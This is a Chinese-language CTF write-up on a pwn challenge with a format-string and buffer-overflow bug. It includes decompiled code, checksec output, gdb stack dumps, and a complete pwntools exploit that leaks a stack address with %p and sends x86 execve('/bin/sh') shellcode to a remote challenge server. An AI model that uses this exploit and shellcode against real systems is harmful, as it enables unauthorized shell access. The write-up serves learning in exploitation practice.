关于 格式化字符串 漏洞的小tips

这道题来自于蓝鲸oj，pwn部分的shellcode

先看代码：

```
int sub_8048518()
{
  char buf; // [sp+Ch] [bp-1Ch]@1

  sub_80484E8();
  puts("input your name");
  read(0, &buf, 256u);
  printf("hello ");
  return printf(&buf);
}
```

可见，有一个格式化字符串漏洞和缓冲区溢出

查看防护机制：

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$
```

没有开启栈不可执行，所以我们可以 将自己的shellcode写入栈中，利用格式化字符串漏洞输出shellcode的

起始地址

我先展示一下 exp：

```
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
import string

p = remote('106.187.99.84',9992)

vaddr = 0x0804857E

payload1 = "%p"+'a'*30+p32(vaddr)

print len(payload1)

p.sendline(payload1)

p.recvuntil('input your name\n')

p.recvuntil('hello ')

p.recvuntil('0x')

shelladdr = p.recv(8)

shelladdr = string.atoi(shelladdr,16)

print shelladdr

payload2 = 'a'*11+'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x6
9\x6e\x89\xe3\xcd\x80'+p32(shelladdr)

p.send(payload2)

p.interactive()
```

其实我有个疑问，就是 `%p` 到底是怎样存储的?

*以ascii码的形式?

*以存储的是字符串地址?

下面进行调试

因为PIE也没有开，所以加载代码段不是随机的

首先我们在 执行第一个 printf 前 加一个断点：

```
$ gdb -q ./pwn3
Reading symbols from ./pwn3...(no debugging symbols found)...done.
gdb-peda$ b *0x08048553
Breakpoint 1 at 0x8048553
gdb-peda$ r
Starting program: /home/liqingyuan/Desktop/pwn3
input your name
%p
[----------------------------------registers-----------------------------------
```

输入 `%p` %的ascii的十六进制表示是25 p是70

下面我们查看一下目前栈中的情况：

```
A syntax error in expression, near `%esp'.
gdb-peda$ x/16wx $esp
0xbffff610:     0x08048630      0xbffff62c      0x00000100      0x08048525
0xbffff620:     0x00000000      0x00c30000      0x00000001      0x000a7025
0xbffff630:     0xbffff83e      0x0000002f      0x0fabfbff      0x080485eb
0xbffff640:     0x00000001      0xbffff704      0xbffff658      0x08048583
```

我们惊喜的看到有一个 `0x000a7025` 就是字符串“%p\n” 而指向这个字符串的指针 刚好就是第一行第二个数据，只要我们通过 printf就可以输出来了。 我们通过gdb来观察 来确定 `%i$p` 中 i 的大小 。 因为不同的题 他的偏移是不一样的。

具体分析还请看长亭的ppt